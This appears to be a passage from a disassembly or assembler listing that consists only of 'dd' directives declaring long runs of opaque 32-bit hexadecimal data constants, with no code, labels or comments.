		dd 0E3C98DABh, 1D25D0h,	0ADB007ECh, 22549F81h, 0C6D09600h
		dd 0AA5F7FEAh, 3677EEDh, 60A0E051h, 91F93B88h, 0B7C0505Eh
		dd 75195AA9h, 0E3807FCFh, 0C1788992h, 0ECA19EC8h, 0F47F1321h
		dd 0C0571E03h, 0C5DCB34h, 0BFAD7341h, 10E2BB1h,	378BC2h
		dd 59C922B8h, 2450005Ch, 0F503E7A7h, 0A33055BEh, 29BB318Ch
		dd 5EB9166Eh, 0FB7D0F3Ch, 8943B2A3h, 11C62103h,	8C579F7h
		dd 0A99AF438h, 6BC8E498h, 4A680A3Ah, 80E45AE9h,	1B11BA36h
		dd 14B08CC8h, 0C8961028h, 3C03B5Dh, 0FF118294h,	8DED8991h
		dd 0A83A97h, 0C9983E1h,	18905D9Ch, 0E15CB730h, 1CC87Bh
		dd 48D31D6Bh, 0D14F105Ah, 0D9569200h, 2ED517F9h, 0B29E1D87h
		dd 6E054A58h, 2060969Ch, 596CDE98h, 95B3FC00h, 7D8E435Dh
		dd 506E02F0h, 60D37963h, 0E9A82448h, 88004B4Bh,	721068A0h
		dd 460103F2h, 73231164h, 0C45885D9h, 0A091A8EBh, 0AF0B8B00h
		dd 41CC033h, 0A9F7092Dh, 0BB4882D9h, 185B68C0h,	5557E116h
		dd 83BC4D10h, 0EA3E886h, 404A99A1h, 200DC907h, 0DD347706h
		dd 5A15F0A6h, 78A0312Eh, 0FE1D10Bh, 0C9500CBh, 0CA73EECh
		dd 0A6F748Ch, 0C1003851h, 89E88150h, 1B34DC0h, 42ED7A65h
		dd 0D1C59A85h, 0CCE4508Eh, 0EB781479h, 5C747C1Dh, 0C5B51040h
		dd 30920E12h, 0CA983DD7h, 3105C8F6h, 0B29B3423h, 0F8B1940Ah
		dd 1D800D9Eh, 0C783CD16h, 5380A023h, 304B9E3h, 0F19D3B73h
		dd 0C84B1832h, 0B06A2154h, 34885187h, 0D67042D0h, 150EC444h
		dd 0D21E97B2h, 84ADC40h, 90CBC9Dh, 0B6B893EBh, 3151E431h
		dd 8108140Ch, 4ADC2E10h, 84D38F14h, 0A48843AAh,	226B1F84h
		dd 9A053D21h, 0C27D2A37h, 0A446DED0h, 26CD80A1h, 5A0875E4h
		dd 7097CE4Ah, 13F6B69Dh, 0CA0FA700h, 0A1872560h, 0A9D72085h
		dd 0A0A85700h, 848EE24Fh, 777F2409h, 10C51414h,	91D24B06h
		dd 0B8127156h, 1F003855h, 8E93E962h, 60ABFCBBh,	20E1214Eh
		dd 21000B17h, 897FF177h, 9E683E4h, 85E85BA6h, 8A82D8E0h
		dd 0B71DD507h, 0AFB11573h, 0DB20AB4Eh, 2E440C27h, 0E851B2CBh
		dd 44AFA0Eh, 37D06056h,	3183CDDh, 85B9019h, 0BDE1D4h, 7E74828Ch
		dd 0AA8057E3h, 47450F61h, 209AD1D4h, 0A0443042h, 2FC7EB00h
		dd 253DD699h, 0C1ED0088h, 0EF940D39h, 0F7055068h, 0B10B821Bh
		dd 5376280Fh, 0D84AD033h, 0F48511h, 13179C62h, 0A041CBA3h
		dd 0F96A1000h
		dd 1E6033F1h, 2FA0A0FEh, 66B000FFh, 88FF289h, 1F008A67h
		dd 0B6DFBC8h, 12168626h, 257D77h, 62A5AADCh, 76546F79h
		dd 1890F4C0h, 405D0900h, 554B8FBAh, 4F130470h, 0C05A740Ah
		dd 0E2F7E35Ch, 0A21F0D73h, 6C64E9ECh, 395AFB80h, 1B0BDD1h
		dd 3489E24Bh, 0D17FF3EFh, 9422C0C2h, 8C4AE4Dh, 3B9B38CAh
		dd 0F99454h, 764CB593h,	0D31026BEh, 0D0115C16h,	0CA01DB03h
		dd 0B890E4E9h, 0A1423CEh, 12B17D31h, 0F97104CCh, 0E9BB00F8h
		dd 32AEFDC2h, 0EF58E01Bh, 106F4461h, 0D4E67A8h,	22EB7A5h
		dd 7A88F0B9h, 7530A090h, 99D62977h, 0A85004DCh,	91624080h
		dd 807475A8h, 19BE421h,	4D340B71h, 863A9882h, 0B28C5E26h
		dd 5DDC808h, 9D0F02DFh,	431CA7A0h, 93D18682h, 0A0ABC2D8h
		dd 24743A80h, 85AF0091h, 444D8427h, 0A43E9C2Fh,	5D10039Ah
		dd 3A6FE4h, 0AB405E81h,	0B12255C1h, 0F5597D18h,	26D7DB49h
		dd 93649EC6h, 0D0B4043Bh, 80AD0BA3h, 4D572878h,	44B10Dh
		dd 9729CF7Eh, 771D0578h, 6D58BB02h, 1035A058h, 185DDEDBh
		dd 4838B247h, 0F7A08854h, 353B131Fh, 159063Ch, 29499CC0h
		dd 1CC0224h, 689B19B8h,	1B1848B2h, 4BEFFD00h, 9752D114h
		dd 0C7C0C090h, 35BBA8CAh, 4F4A2400h, 3CE194D9h,	452D0402h
		dd 81826DF9h, 705355C5h, 0FC1208E8h, 0EF000154h, 96D75223h
		dd 1202EA8Ch, 580B3363h, 6864B8C8h, 6DC8B88Bh, 0E09CA9B6h
		dd 35B29F10h, 11953D35h, 0CCF70C03h, 85108092h,	1C602A94h
		dd 0F06400DCh, 9FA716DDh, 0B6075FA6h, 43652E7Fh, 74F7E481h
		dd 0CE7CCh, 6F130245h, 6120BFD4h, 21F2980Fh, 0A0B8818Dh
		dd 24F44B17h, 4E080E58h, 0C1601D8Bh, 3E788F13h,	0ADF34Ch
		dd 0CE02A938h, 778EC2A5h, 9DE73EBh, 62AE866h, 15D76840h
		dd 4710C142h, 1A5FC07Ah, 8CD5A39Fh, 913344h, 0D66F1AAAh
		dd 2B1639BCh, 0B1D72E16h, 0E29C420h, 4335178Dh,	65804F20h
		dd 0C050AE83h, 7B0F4078h, 0A1A8156Fh, 7E0CB675h, 4BFE6065h
		dd 144A8048h, 6A2B0058h, 0A829181Ah, 67803A73h,	959101FEh
		dd 354A40ABh, 0BA38CCE8h, 2EBB9801h, 0F0242625h, 0F8991280h
		dd 9352D9DAh, 8406C90h,	7FA9C342h, 0A11310ADh, 0FC4B82E6h
		dd 0C2AB80C9h, 0F19F3Ch, 0D6FB9213h, 0FCCED405h, 7AB1DF0Ah
		dd 3B9DE81Fh, 0C686E245h, 0C3C1C087h, 0F8D0DBBFh, 70CE001Eh
		dd 0EC5611A8h, 2C0F8305h, 0E760FEB8h, 86C15D6Fh, 0A85204E3h
		dd 0E84450h, 0E86D98D3h, 9D848D10h, 5D871600h, 753A42B7h
		dd 7BF00211h, 0A60D8EE3h, 0AC379842h, 0F02F6BCh, 49BAD2Ah
		dd 7E2C6475h, 0A1AF00A0h, 87FB685Dh, 474CC337h,	5092404Eh
		dd 82718503h, 0E011B3D5h, 1F3FAE2h, 0DEED8978h,	34834587h
		dd 0D09992A8h, 0C3593000h, 3BEA3FAAh, 8F803D27h, 4923B375h
		dd 5A012A8Dh, 3C67946Ah, 0FC72DC82h, 1A05B00h, 0C5C11228h
		dd 0D560B496h, 0F6A3991Ah, 1C6086FAh, 1AD07BC1h, 41504A89h
		dd 0E8DA78D4h, 0D8B0D082h, 0AC794D00h, 4C1A7355h, 0B0F8600Eh
		dd 0E988BF62h, 99B2D912h, 0DC71440h, 3A02A1B8h,	74BCA69h
		dd 0E40CA3FCh, 1B08C048h, 2026F8F3h, 50001495h,	0E4D1AA75h
		dd 206A60B8h, 0EBC09B94h, 0A2525190h, 8461C220h, 2C591A90h
		dd 36183379h, 0AA9C3907h, 4899F8E0h, 0E8762840h, 0F2D30077h
		dd 844F1A96h, 561F6BFFh, 695753B8h, 6723D43Ah, 3F6B2400h
		dd 92DEAC02h, 407B4A88h, 3968B7B0h, 55000347h, 63A52366h
		dd 1F57B4Fh, 0F6D3838Dh, 30FAE00Ch, 68252EE4h, 2590984Bh
		dd 0C8DC0811h, 0D64EC94h, 11ADD540h, 0EA5C86FCh, 5D998EFCh
		dd 9F7A2780h, 2E1309h, 0C84C436Fh, 0A43FDD2Fh, 3BF528C2h
		dd 0D27490D9h, 0CF6E115Ah, 214D8CF7h, 38457BF1h, 38EBF36Fh
		dd 8C054A0h, 0AE0015CDh, 1188F9EBh, 5EB6BAh, 57CFD889h
		dd 3CD53FAFh, 6E002EFCh, 2DAB298h, 8A12708Eh, 18AC8449h
		dd 46153571h, 92D8621Ah, 1444DA20h, 0D9EA70h, 1B45758Eh
		dd 28B66DBh, 204C2A06h,	0EA169A8h, 4D618AE9h, 87887840h
		dd 3702B2F3h, 1E7C1A7Ah, 3DF16132h, 0D278A087h,	3807F996h
		dd 0D160B809h, 21A39D1Ah, 78A4FA65h, 1ADC4F40h,	3451058Bh
		dd 33E10CAAh, 0CAE8E7E8h, 55775483h, 69E1C460h,	99A6ADh
		dd 0B564ACB4h, 0BB55BEF3h, 0B321C165h, 376A488h, 0A1882064h
		dd 0A8AE3B83h, 7B230343h, 0F81A1B09h, 4454848Ah, 0D600B569h
		dd 5BA3E21Ah, 9CF444h, 6564BB4Dh, 8ED48993h, 1A83C004h
		dd 9888E377h, 9F6D002Dh, 7B8B105Dh, 7254AB22h, 0BC1D82ACh
		dd 0F94E9367h, 0E419E06Ah, 0E8BF17h, 0BAE7C628h, 0D7996B4Dh
		dd 0FE85DCB6h, 0D70A7536h, 3E958882h, 78D053E8h, 0E304B3B0h
		dd 91C6FF2h, 4231C99h, 0A30C0A2h, 60E400DAh, 0B021478h
		dd 21D95130h, 19C650h, 3DA39090h, 48C42C99h, 0BE440481h
		dd 9BB4DCh, 7BD24A7h, 88084183h, 0D3E4F60Bh, 0E3C8A737h
		dd 0D400B0A5h, 8D727520h, 0D38A098Eh, 0B080ED01h, 0B781DDB1h
		dd 87EB5000h, 46C30344h, 0BF9B035Dh, 67213CF7h,	0B4EE40FEh
		dd 4C00CCEEh, 0D017D18Ch, 260954E8h, 9158066Eh,	762E9CEBh
		dd 0C547CF09h, 58978F2Ch, 92D3BF60h, 0C70AD987h, 0C050E9C0h
		dd 3E00659Eh, 27C92D6Ch, 30D476DEh, 1D0EA647h, 55126BF2h
		dd 0DC32C18Eh, 156E30A7h, 9D215F7Dh, 8F91BCh, 0CC2BD91Bh
		dd 22891Ch, 0BFAFF990h,	631A0665h, 8308D14Ch, 0CFCF7CB9h
		dd 0C40415A0h, 0D4862C44h, 0B98949C8h, 0C9964A3h, 5BDFC388h
		dd 3632AD00h, 0BB16CCB8h, 68425986h, 5B4260F8h,	613B991Dh
		dd 402010FAh, 739043BFh, 0E4831C9Eh, 8BF5BC18h,	92C8F843h
		dd 631F17C6h, 0E2BC20E8h, 0BA003E4Ch, 2188B12Dh, 0F2BC1FA8h
		dd 18752A93h, 7B90098h,	1641E123h, 0B8029152h, 63CD7EBDh
		dd 50D2E5h, 44500F2Fh, 0DAA7BB88h, 64F67E00h, 5C53101Fh
		dd 92901D8h, 0FBA07D1Ah, 0CF041EDh, 34833C2h, 0D52E3C66h
		dd 538B6Fh, 954E4B79h, 69A918CFh, 310F4090h, 0E0F473C8h
		dd 0C38B0480h, 5C57E423h, 3B009A2Dh, 2E6A337Eh,	6030C979h
		dd 394F490Dh, 62A81FFDh, 6D118066h, 59D772FCh, 0FF1A9B01h
		dd 0FAACA15Fh, 5B80B83Ch, 0EDFE7783h, 3AE26500h, 0AD26D635h
		dd 4075D3h, 7405F069h, 8C52EBA8h, 20A3EF00h, 0CB2E07D7h
		dd 0D2B5001Dh, 8A50ADAh, 4200A981h, 2C2D4F6Fh, 0F8D7149Ah
		dd 0F484981Bh, 64D00134h, 6AA924B2h, 4069F4h, 66A4597Eh
		dd 3B30342h, 16BD97BFh,	0ADD073CCh, 0A8075CCFh,	0BAC2A927h
		dd 9EBB6CC0h, 0B38E001Ch, 0FBC415E5h, 0FE3C9962h, 0AF3C7C90h
		dd 91650F41h, 0C78E1E2Fh, 241F475Ch, 8D2CBD90h,	3D8E85Fh
		dd 0FC269F2h, 17E09A6Fh, 6300E36Eh, 86DFC528h, 28D6C1Ch
		dd 93BCA7EBh, 0B480A4EFh, 9F9E0C59h, 6C55B40Ch,	33183Ah
		dd 0C7F11A18h, 4A7BE496h, 809A123Ch, 0A16A9565h, 0EC1F2Ch
		dd 7D5FBCA4h, 0F96817D8h, 33268A18h, 625CBF40h,	0BD8DD8B4h
		dd 0ABA70498h, 0B000DF90h, 627FC4D0h, 0C3918E19h, 0B68F33D8h
		dd 0B4436000h, 0EDD7B51Fh, 8E5C00A6h, 0FBC7713Bh, 8F67AD32h
		dd 0B6C08230h, 6D2FB3h,	5ACBDE94h, 0B52B3057h, 6A9A4202h
		dd 0A0609552h, 692A5D28h, 0BD18CA5Ch, 999818C0h, 4118AB42h
		dd 44108EF3h, 1CD42993h, 79E08060h, 33259DDDh, 24A89364h
		dd 7148025Eh, 90A35262h, 1C90E120h, 6AB0E7F1h, 48127A28h
		dd 6D28F70Ah, 0A4F7C18h
		dd 6C8C0842h, 1ACC796Fh, 0F156327Eh, 21438404h,	34E99D62h
		dd 0A7AD4080h, 49CEA165h, 0FD4248A2h, 25184816h, 4D49EF5Ch
		dd 8DD918B3h, 49413848h, 0C1DA6800h, 0B52FB0E6h, 5C5A309Ch
		dd 2D4E9081h, 80F11490h, 40442E31h, 1F0CA071h, 30A31729h
		dd 6A328D59h, 5B0F39C0h, 14DE33BEh, 0CC2F0A79h,	0A3280381h
		dd 38119F3Ah, 0B744DBC0h, 2A612DA2h, 3C841B1Eh,	1F0CC1E8h
		dd 0E31052BAh, 7F24320Ah, 0B000CC15h, 2A13D623h, 9D30C371h
		dd 3191527Bh, 9115F028h, 13DEB90Dh, 0DC03693Bh,	0B5C107BBh
		dd 0A15466C1h, 49B91156h, 8358B8A0h, 0EA13625Ch, 0EE10002Bh
		dd 8933F944h, 16FE6D2Ch, 0CA449h, 3E3AA559h, 0F1ABAC14h
		dd 50FD84C8h, 70D8431h,	15DEA4F9h, 57B54081h, 5100ABC8h
		dd 6255B01Ch, 0C5114CEAh, 78BF2E48h, 1C81CB40h,	874068A1h
		dd 87143FC1h, 406D850Dh, 9941D69Ch, 0F2240FABh,	6486640Eh
		dd 0FD39E41Eh, 7C055455h, 0BC082F06h, 37058614h, 0B52438CEh
		dd 518C4811h, 1221D02Bh, 40E0A16Dh, 0E212B780h,	0FA886501h
		dd 0A0CA049h, 87218402h, 74760848h, 0EFE58984h,	0F6514100h
		dd 0C49236B3h, 4C56100h, 0CC4431Dh, 386D016Bh, 2B549D1Fh
		dd 0FF6C3029h, 0DBE72F12h, 5BE48400h, 1311A15Ah, 546E1AC4h
		dd 0A413DCACh, 2DB44067h, 7E5B624Fh, 0E2F4158h,	8A025117h
		dd 0D380903Ah, 71B563A7h, 73B70132h, 8B1E91B4h,	775983BBh
		dd 0FA28A7DCh, 16C090EFh, 926B3CBEh, 228E412Ch,	20454CD8h
		dd 85BE4680h, 23002673h, 0EFA13D99h, 306AE494h,	0B7480478h
		dd 1B51C52Ah, 0C48AF188h, 0ECF9EE29h, 0BE225291h, 0CA8C14DEh
		dd 7502A0FDh, 0CD5C283Eh, 0A81B7441h, 0FD009921h, 1CC4E2B0h
		dd 26C9D71Ah, 4A6CA8A9h, 1EC51378h, 3B958004h, 566096FBh
		dd 0C00CAB6h, 93D3A5DDh, 67203F6h, 8BC40B9h, 71F28D80h
		dd 38BE7000h, 0B048EEDAh, 46EC00C1h, 0FE8B02E2h, 0AC07944Ch
		dd 0B2684B3Bh, 0C9EE6270h, 0DBC0048h, 0D05926DAh, 0A3001F8Dh
		dd 0ABF2E784h, 6F177Dh,	807E4E20h, 0C460591Dh, 0BD58E500h
		dd 0E351CFDFh, 4C643D11h, 7AA7D101h, 6076C153h,	3100CE53h
		dd 0B7039106h, 0FC10F2h, 56BC8901h, 0F1332FCFh,	15022C00h
		dd 0FA5A6AD0h, 135D0FC9h, 75822565h, 4B7BB94h, 6CCAD402h
		dd 72033625h, 4070BB5Bh, 0C315A05Ah, 13F64291h,	23032B5Dh
		dd 0A2F37529h, 0F81C86D1h, 0AEF00608h, 19E5BB54h, 18121C83h
		dd 9700C7B8h, 0C4CE4364h, 2499CDBCh, 12509409h,	67A81418h
		dd 41D284Ch, 0C95B28CCh, 1CBA50ECh, 6CC92AA9h, 9D733E90h
		dd 0A3745056h, 604AE510h, 4680851h, 0E6C05B45h,	0A2B3F928h
		dd 0F1640640h, 0A46FF209h, 4AD11B1Ch, 842A03Fh,	147B280Ch
		dd 48023C28h, 0A63B5440h, 504BF140h, 632AB300h,	0A891FA0Dh
		dd 0A4938102h, 20BAC013h, 0C467325h, 0A807EAF0h, 0BD76BBA7h
		dd 855CFC4Ah, 7D9CF504h, 10B06A54h, 0FE9F7F77h,	4C40CE80h
		dd 738CEE72h, 97063004h, 5823CB88h, 14AB3490h, 0A8925608h
		dd 478B07C9h, 6638EC1Fh, 511951C3h, 4201CA2h, 7A49702Eh
		dd 85FC05D0h, 84B2070Eh, 0C26A377h, 4D61019Fh, 10518A1Eh
		dd 7B108065h, 593147F8h, 330578E4h, 0D7692B57h,	1B8C91C0h
		dd 400B27Fh, 83081FF6h,	748EAB65h, 1FA57416h, 0C0736445h
		dd 4FBBF5EAh, 250979FEh, 23246DA3h, 0D3C62630h,	76080089h
		dd 73F11E45h, 0E9551210h, 40488C8Ch, 0E590864h,	46F0EF65h
		dd 6852C3BFh, 74EB0DE2h, 0B7A38BA8h, 8EF52500h,	2C985F7Ch
		dd 15E00E1h, 6E968977h,	4160D5DDh, 6A6AD79h, 23D8038Ch
		dd 5B306FCBh, 783E90Fh,	0E3BBEE02h, 7D7D0C0h, 4765F789h
		dd 43A383DCh, 9C40BAB2h, 0A70CF2E5h, 29D6D088h,	2AAB7ED9h
		dd 28C03EF8h, 0C84F6A5h, 667318Ah, 80004738h, 0A638D4F5h
		dd 3688A58Ch, 0E1419F65h, 2ED5B3Ah, 27C8077Fh, 54D04010h
		dd 525E0A6h, 0B10184CAh, 921EC0B8h, 21C7590Bh, 0A340D7FEh
		dd 0C0884B46h, 10C776A1h, 7704F11Fh, 72E61213h,	551EF880h
		dd 0A9FA2E91h, 984D1431h, 12EAEC2Ch, 0A838501Ch, 0CF0F10A6h
		dd 0F720279h, 0C138C485h, 2C1924D1h, 0DA8AC181h, 4B785542h
		dd 0CD2410B8h, 3843CC8h, 11FA06Ch, 13023B33h, 76DC4DDh
		dd 3EC3620Eh, 0A77F60D5h, 9099A071h, 0D0EB2020h, 0A8EDD702h
		dd 869CA627h, 1DD096A4h, 5EAEE7C9h, 2C434071h, 0A8AFF9F4h
		dd 62D54958h, 0C03B22C8h, 1176BE2h, 0C80545F0h,	240F4DCBh
		dd 2640FF50h, 30980DB9h, 0CAC85586h, 0F2DABC41h, 1B1DB808h
		dd 0E9F26120h, 0D07C0DECh, 0AD68076Bh, 6803D829h, 0A18654D1h
		dd 8C4A2187h, 7DCE2010h, 317AE610h, 7DC60C48h, 4A1F319Ah
		dd 8902B083h, 4EA5C865h, 0D4307D30h, 9C052C29h,	4EBEDBCEh
		dd 0F034C74Ch, 6660B52Ah, 29B4F118h, 0E85D6B01h, 0A8D5D791h
		dd 0FE957DCh, 3AE42254h, 0D440C4ECh, 1CAE2C88h,	89F1F562h
		dd 78119719h, 9E69918Bh, 62762C01h, 92C9A6FEh, 280D7F79h
		dd 58002131h, 0E99610CFh, 81589091h, 0ACDEF9F5h, 102E420h
		dd 9F9075E7h, 80B77627h, 0C41B9180h, 0F576CACh,	72F23A96h
		dd 832A3184h, 39B8738Ch, 0D31F78A7h, 9518F3C3h,	0C014D79h
		dd 0A960A83Ah, 7F28D671h, 9321B0B7h, 200B1EA2h,	8839FB6Ch
		dd 0D87C1852h, 0D19A3950h, 0B8755C00h, 0AE762688h, 7F550069h
		dd 2D4E70F3h, 92403E4h,	16110CEEh, 56B2EC0Fh, 40C8AC0Ah
		dd 59BAE424h, 0D3448098h, 7FED3D1Bh, 0C77D2D0Dh, 0BAB8EC81h
		dd 79EEB03Ch, 7871FF30h, 0F06AC72h, 0D0899131h,	0C887C13Ah
		dd 2310C0AFh, 98785DFEh, 831B040Fh, 0B267E0ECh,	9866F92Ch
		dd 98D55450h, 69A93DA6h, 7002A23Fh, 4FF04628h, 6F9FC60h
		dd 0D10B62F6h, 80557D9Bh, 8E83D4DCh, 59FA0077h,	0E54C0111h
		dd 6F007694h, 2A5E1082h, 0CE4E99h, 4749BEA5h, 0C5C0AEECh
		dd 2E00D9F0h, 0BC9B0DA7h, 170A201h, 342945F9h, 555D5E51h
		dd 5074568Ch, 0E8BE0444h, 0B683247Dh, 78520E70h, 198000D2h
		dd 0F427BB5h, 41D7EFEh,	3840B20Ch, 4F739835h, 29706422h
		dd 3E952159h, 113B5411h, 0BD125F10h, 88213310h,	2C892FB0h
		dd 218124CEh, 6C123BF3h, 8897D910h, 2C881DA5h, 418889C9h
		dd 11452B50h, 67116049h, 10A4122Ch, 0ED89589Ch,	0DE0B1441h
		dd 10208011h, 8078FCE9h, 0A08361F1h, 454164h, 547B35Fh
		dd 0D0ABC782h, 1F120C00h, 9596F8ADh, 0DE90030h,	0C335DD8Bh
		dd 0B1F0C0EEh, 0C56A3D1Eh, 6D19EAC0h, 0F379F51h, 62D1EFA5h
		dd 23B406B8h, 91F8877Fh, 56B69D07h, 58F18564h, 0CAFC0369h
		dd 0F809337Eh, 0A3802350h, 29002BB1h, 103D6C7Fh, 0FD9AEF0h
		dd 47E5C5E6h, 0B5805BEEh, 61857CC6h, 9F3B411Fh,	5700265Eh
		dd 0F918284Fh, 5CAB17C9h, 0BA1000Ch, 54316125h,	167E5F3Dh
		dd 7420126Bh, 0A01F05h,	15561ADBh, 0CB69F9DAh, 7E8AD103h
		dd 0C0D6A56Bh, 150C1A0h, 0CCB26A2Fh, 34FC89F7h,	0DF0CC070h
		dd 28510D16h, 0A762Fh, 0F6FBF81h, 4564761h, 0DAF0720Fh
		dd 97024050h, 0A1FDF6CDh, 9F70D308h, 5373C2Dh, 0B43DA380h
		dd 2AD417F2h, 1200C87Eh, 0D733350Fh, 75982C85h,	57C40096h
		dd 34414D27h, 39008E14h, 8726F235h, 629CD4h, 198AB469h
		dd 1695F8F4h, 6B8D2707h, 0FA71052Eh, 9FCC0776h,	0BDA10043h
		dd 907B63B0h, 0F438E245h, 71DC00B6h, 0BC77094Eh, 0D5641E28h
		dd 199C40F6h, 0EE630A2Ah
		dd 60C180Fh, 0F5B260AAh, 7A78965h, 0D7EBBA25h, 0B52940BEh
		dd 0E824EFE4h, 9400C4A0h, 41FF52EEh, 43B4004Ch,	33115C47h
		dd 5E006DBAh, 0F9FB1F0Bh, 1F4802D6h, 80A451E0h,	0FF698B36h
		dd 0C67EE691h, 9BE4C47Ah, 0A6CDDE1Eh, 69010280h, 399EF06h
		dd 7422364Fh, 60055A42h, 81C18BCFh, 61128600h, 79B63B8h
		dd 0FE475F99h, 196C0089h, 0FC7D0E08h, 4BFD2C14h, 3D5F0FD8h
		dd 4688C03Ch, 4AA23F89h, 0E941C2Bh, 0FA4098E7h,	570113C8h
		dd 403E239h, 0E633E8C5h, 10937C80h, 0B4AF00B5h,	668C9FC1h
		dd 0CB743D3Ah, 0A5638B00h, 89E674B7h, 8F5A0056h, 5EC28DC4h
		dd 31009CC8h, 933D0B09h, 0A632C5h, 42441B2Ah, 18AF1384h
		dd 0C6C7B000h, 0FF316D8Eh, 835A00B1h, 0B5E833ACh, 0E3004971h
		dd 32597ED6h, 2E57AF4h,	8E407068h, 0A180CE08h, 0C1CFA37Bh
		dd 2AE90B0Fh, 215580A9h, 3932DDC4h, 8080737Ah, 0D61BA736h
		dd 3300CC0Bh, 5219D991h, 16C588h, 7B2F09CDh, 3F98508Fh
		dd 0D21D3D00h, 1EB985C1h, 672E0081h, 715DCBDAh,	0D3E6A15Ah
		dd 97821C00h, 34BA249Ah, 2CD7A0CFh, 4B0E004Fh, 9FDECB91h
		dd 457DAF15h, 5ECC3407h, 0B470B36Ch, 0F2138F1h,	0C6A4C811h
		dd 0FACFCD60h, 4C001FA8h, 20F76844h, 1D82131h, 0D5BEEF4h
		dd 807850D2h, 6FDFE680h, 72A19D3Bh, 46D60062h, 0F0BA045Fh
		dd 1B00BB70h, 0BFEC1792h, 7C01AA74h, 4D2E00DDh,	0C76163F5h
		dd 400030DEh, 5ABEF61Eh, 1C54A0h, 914F8229h, 18AEE45Fh
		dd 0F28E10C0h, 0D2A950h, 0CCC321Dh, 0D66AECDEh,	2A087C00h
		dd 9B43DF77h, 0F3FC00D1h, 0CB3F76B6h, 7A00D617h, 0BDEC053Ch
		dd 60C4BCh, 0AFFB6D72h,	999FB1DBh, 74025414h, 6281009Eh
		dd 6B4F87A8h, 8D92482Ch, 0B5961300h, 0F0680A8Ah, 63D66F15h
		dd 81A908E4h, 963500CDh, 663762A4h, 0E96DAB01h,	91101DDh
		dd 16F0DCC5h, 0BAC700FDh, 31EE7DFEh, 0D7011F7Fh, 21B87390h
		dd 98CC3729h, 0D9726Ch,	2D2A555Ah, 0EA71D83Ch, 0B88F4000h
		dd 0FEA58A5Bh, 7F2904Eh, 0FDCE1D55h, 206520ACh,	0FB002722h
		dd 58BEBC97h, 4BE5BAh, 0A55F4D82h, 0EB71C3A6h, 0C2B0DF00h
		dd 5C3E8FCAh, 0BEFE003Ch, 0B326CCE8h, 4F1C13B4h, 0C4FF8E4h
		dd 0A2005324h, 0A5306A05h, 0CB3800C7h, 1D3F559Ah, 0FA39D315h
		dd 981F8152h, 67FE6DEFh, 0DC50D4h, 0CDD650Ah, 0AD7187B9h
		dd 0EFD29D24h, 9A5EA800h, 7A69732h, 250E9C7h, 0C6FAE09Fh
		dd 20017B3Bh, 459562FBh, 0E9D4011Fh, 88000EEh, 2969D60h
		dd 0F603C1D6h, 2B31EBFEh, 7754E0F9h, 1A72077Dh,	70910ED7h
		dd 685A181Dh, 12425F00h, 0E8329F31h, 0EFC100DAh, 0C91F6158h
		dd 0EEF0D57Bh, 0F6003DFCh, 6E849676h, 2C2FE183h, 15FD14Eh
		dd 0E2EDA41Bh, 2A14F417h, 8ADF440Eh, 9C1CE0B1h,	7A772A3h
		dd 94EB88A4h, 0AA8B9336h, 6F512A88h, 0C004170h,	1B60B70h
		dd 90E0BEh, 0ADDDD812h,	3EF19CC6h, 0C9DAAE00h, 523F7FB5h
		dd 71DEEC2Ah, 92372441h, 1FFD0007h, 0C18D798Eh,	434AC800h
		dd 0C94B6EE8h, 0D6E900A4h, 90420A8h, 27003664h,	0E4135C56h
		dd 0B1F769h, 0E30107EBh, 0DAB49A8Eh, 4B3BBF00h,	12739E2Ah
		dd 325800E2h, 0F8B9A886h, 0F100621Ch, 0E3EFC8FDh, 1CD2B94h
		dd 6BC7539Ch, 0D8859704h, 0DF00D588h, 0EF4A6909h, 0E889B986h
		dd 0C4B300FCh, 0F05E2456h, 3800ACC1h, 0BB43F727h, 5CD5F9h
		dd 58A50CDAh, 6EE51263h, 0C1FC8E00h, 453BB743h,	8D9A0762h
		dd 309C175Fh, 7DA5BBF5h, 599FC200h, 8994FAECh, 873600EBh
		dd 580FA20Ah, 7F0042B6h, 0FC21A1D7h, 34AB94h, 0F2FD2E07h
		dd 9A0E205Fh, 0A6AA3E00h, 0C2FC97D4h, 75BD0E63h, 0AFCFB436h
		dd 0C40E2819h, 0D70E0B1Fh, 0AFD267F9h, 0A11E4050h, 338D848h
		dd 74E0B0F4h, 90B887C6h, 0AF17DDABh, 0CB03E75Ah, 88837746h
		dd 3E2D9BEh, 3CED9BF9h,	5E9012A5h, 401E7E3h, 0A35FFC61h
		dd 0DC404BDBh, 270F5Ch,	1E082585h, 296998B2h, 0AA9AF100h
		dd 0F4542D56h, 0CB221C39h, 0B9ED4024h, 5D1BECD8h, 8158064Ch
		dd 4CB88C0Eh, 6008F0ECh, 54E328EBh, 0EF00B08Ah,	0A9D1C443h
		dd 768D018Bh, 234C0097h, 85FF9E0Bh, 9A00FE11h, 0D2443BC8h
		dd 48660694h, 0C5019BDDh, 0A72E7D3Fh, 0DB21F4CAh, 736D60Eh
		dd 828E0F5h, 1FFD9h, 0E0E5634Dh, 728FD4B1h, 7EAE660Bh
		dd 44C0032h, 48F6BDh, 10BB928Ah, 0AA8857A2h, 0DCF29D00h
		dd 80612869h, 0B2BA0799h, 0B0124072h, 6C92FEC1h, 6031FB0h
		dd 35054E8Bh, 66A18853h, 4C7C5899h, 0CEE6237Fh,	2B523200h
		dd 7B4E7A4Ch, 2E840025h, 0AC63C0B0h, 93008E58h,	3AEE3C6Ch
		dd 0D855A6h, 5E3FAACFh,	0E0B15AE5h, 4A10CD61h, 5DEC1033h
		dd 31D731Ah, 0DBE9423h,	0D5F86D63h, 0D41D8FE3h,	7E0062DEh
		dd 77C337EEh, 1BEA007Ah, 4263C882h, 193C1F15h, 8C452CE8h
		dd 0E0247EE0h, 23F80464h, 0C0C79B0Eh, 0DD1B02B7h, 65F0FBFCh
		dd 0B7E4BA00h, 113717F2h, 2A7C00EFh, 525C29F1h,	9F00BC9Bh
		dd 30F9E0C4h, 19972D3h,	842BD1B5h, 0C8224995h, 9C4C685Fh
		dd 0E58F0064h, 89C8BC46h, 28B800ADh, 0D008E3BEh, 0B1096993h
		dd 8E682E2Bh, 66824030h, 286010h, 3C74ED27h, 47B6B7C9h
		dd 17B46B00h, 0CCCB393Fh, 96270090h, 759AEC61h,	0CF03921Ch
		dd 6FEEA219h, 0E799E062h, 80F267C4h, 37261005h,	163BFCF1h
		dd 4F9E0041h, 0E6C72D14h, 3FF90046h, 0DD331947h, 0F1280576h
		dd 5A3CB85Bh, 85893CD2h, 0BDF25310h, 0AA1C5581h, 79EB470h
		dd 2CBEAC58h, 862201F8h, 3E82C4B2h, 6FD61D00h, 28158B04h
		dd 1001604Eh, 3AE3C285h, 71095F00h, 2F06C23h, 0A2E40286h
